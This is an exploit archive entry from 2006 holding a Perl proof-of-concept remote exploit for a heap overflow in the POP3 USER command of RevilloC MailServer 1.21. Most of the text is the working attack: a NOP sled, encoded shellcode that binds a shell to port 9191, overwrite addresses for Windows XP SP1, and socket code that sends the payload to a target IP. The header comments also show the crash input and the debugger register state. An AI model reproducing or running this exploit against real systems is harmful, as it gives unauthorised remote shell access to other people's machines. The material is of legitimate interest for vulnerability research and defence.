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rev.txt

rev.txt
Posted Mar 9, 2006
Authored by Securma Massine | Site morx.org

Revilloc MailServer and Proxy version 1.21 remote proof of concept exploit for the USER directive heap overflow. Binds a shell to port 9191.

tags | exploit, remote, overflow, shell, proof of concept
SHA-256 | 3c9ad856259ed9d850a7e48cd14c79377eb82fa3483a9cd37f035a2880eedc5a

rev.txt

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#!/usr/bin/perl -w    
#revilloC mail server PoC exploit ( for xp sp1)
# Discovered securma massine from MorX Security Research Team (http://www.morx.org).
#RevilloC is a MailServer and Proxy v 1.21 (http://www.revilloC.com)
#The mail server is a central point for emails coming in and going out from home or office
#The service will work with any standard email client that supports POP3 and SMTP.
#by sending a large buffer after USER commands
#C:\>nc 127.0.0.1 110
#+OK RevilloC POP3 Ready
#USER "A" x4081 + "\xff"x4 + "\xdd"x4 + "\x0d\x0a" (xp sp2)
#we have:
#access violation when reading [dddddddd].
#ntdll!wcsncat+0x387:
#7C92B3FB 8B0B MOV ECX,DWORD PTR DS:[EBX] --->EBX pointe to "\xdd"x4
#ECX dddddddd
#EAX FFFFFFFF
#Vendor contacted 14/01/2006 , No response,No patch.
#this entire document is for eductional, testing and demonstrating purpose only.
#greets all MorX members,undisputed,sara
#!/usr/bin/perl -w
use IO::Socket;
if ($#ARGV<0)
{
print "\n write the target IP!! \n\n";
exit;
}

$shellcode = "\xEB\x03\x5D\xEB\x05\xE8\xF8\xFF\xFF\xFF\x8B\xC5\x83\xC0\x11\x33".
"\xC9\x66\xB9\xC9\x01\x80\x30\x88\x40\xE2\xFA\xDD\x03\x64\x03\x7C".
"\x09\x64\x08\x88\x88\x88\x60\xC4\x89\x88\x88\x01\xCE\x74\x77\xFE".
"\x74\xE0\x06\xC6\x86\x64\x60\xD9\x89\x88\x88\x01\xCE\x4E\xE0\xBB".
"\xBA\x88\x88\xE0\xFF\xFB\xBA\xD7\xDC\x77\xDE\x4E\x01\xCE\x70\x77".
"\xFE\x74\xE0\x25\x51\x8D\x46\x60\xB8\x89\x88\x88\x01\xCE\x5A\x77".
"\xFE\x74\xE0\xFA\x76\x3B\x9E\x60\xA8\x89\x88\x88\x01\xCE\x46\x77".
"\xFE\x74\xE0\x67\x46\x68\xE8\x60\x98\x89\x88\x88\x01\xCE\x42\x77".
"\xFE\x70\xE0\x43\x65\x74\xB3\x60\x88\x89\x88\x88\x01\xCE\x7C\x77".
"\xFE\x70\xE0\x51\x81\x7D\x25\x60\x78\x88\x88\x88\x01\xCE\x78\x77".
"\xFE\x70\xE0\x2C\x92\xF8\x4F\x60\x68\x88\x88\x88\x01\xCE\x64\x77".
"\xFE\x70\xE0\x2C\x25\xA6\x61\x60\x58\x88\x88\x88\x01\xCE\x60\x77".
"\xFE\x70\xE0\x6D\xC1\x0E\xC1\x60\x48\x88\x88\x88\x01\xCE\x6A\x77".
"\xFE\x70\xE0\x6F\xF1\x4E\xF1\x60\x38\x88\x88\x88\x01\xCE\x5E\xBB".
"\x77\x09\x64\x7C\x89\x88\x88\xDC\xE0\x89\x89\x88\x88\x77\xDE\x7C".
"\xD8\xD8\xD8\xD8\xC8\xD8\xC8\xD8\x77\xDE\x78\x03\x50\xDF\xDF\xE0".
"\x8A\x88\xAB\x6F\x03\x44\xE2\x9E\xD9\xDB\x77\xDE\x64\xDF\xDB\x77".
"\xDE\x60\xBB\x77\xDF\xD9\xDB\x77\xDE\x6A\x03\x58\x01\xCE\x36\xE0".
"\xEB\xE5\xEC\x88\x01\xEE\x4A\x0B\x4C\x24\x05\xB4\xAC\xBB\x48\xBB".
"\x41\x08\x49\x9D\x23\x6A\x75\x4E\xCC\xAC\x98\xCC\x76\xCC\xAC\xB5".
"\x01\xDC\xAC\xC0\x01\xDC\xAC\xC4\x01\xDC\xAC\xD8\x05\xCC\xAC\x98".
"\xDC\xD8\xD9\xD9\xD9\xC9\xD9\xC1\xD9\xD9\x77\xFE\x4A\xD9\x77\xDE".
"\x46\x03\x44\xE2\x77\x77\xB9\x77\xDE\x5A\x03\x40\x77\xFE\x36\x77".
"\xDE\x5E\x63\x16\x77\xDE\x9C\xDE\xEC\x29\xB8\x88\x88\x88\x03\xC8".
"\x84\x03\xF8\x94\x25\x03\xC8\x80\xD6\x4A\x8C\x88\xDB\xDD\xDE\xDF".
"\x03\xE4\xAC\x90\x03\xCD\xB4\x03\xDC\x8D\xF0\x8B\x5D\x03\xC2\x90".
"\x03\xD2\xA8\x8B\x55\x6B\xBA\xC1\x03\xBC\x03\x8B\x7D\xBB\x77\x74".
"\xBB\x48\x24\xB2\x4C\xFC\x8F\x49\x47\x85\x8B\x70\x63\x7A\xB3\xF4".
"\xAC\x9C\xFD\x69\x03\xD2\xAC\x8B\x55\xEE\x03\x84\xC3\x03\xD2\x94".
"\x8B\x55\x03\x8C\x03\x8B\x4D\x63\x8A\xBB\x48\x03\x5D\xD7\xD6\xD5".
"\xD3\x4A\x8C\x88";
$buffer = "\x90"x3601;
$eax ="\x83\xb5\x19\x01"; # change if needed
$peb= "\x20\xf0\xfd\x7f"; #PEB lock
$user ="USER ";
$enter = "\x0d\x0a";
$connect = IO::Socket::INET ->new (Proto=>"tcp",
PeerAddr=> "$ARGV[0]",
PeerPort=>"110"); unless ($connect) { die "cant connect" }
print "\nRevilloC mail server remote PoC exploit by securma massine\n";
print "\nsecurma\@morx.org\n";
print "\n+++++++++++www.morx.org++++++++++++++++\n";
$connect->recv($text,128);
print "$text\n";
print "[+] Sent USER\n";
$connect->send($user . $buffer . $shellcode . $eax . $peb . $enter);
print "[+] Sent shellcode..telnet to victim host port 9191\n";






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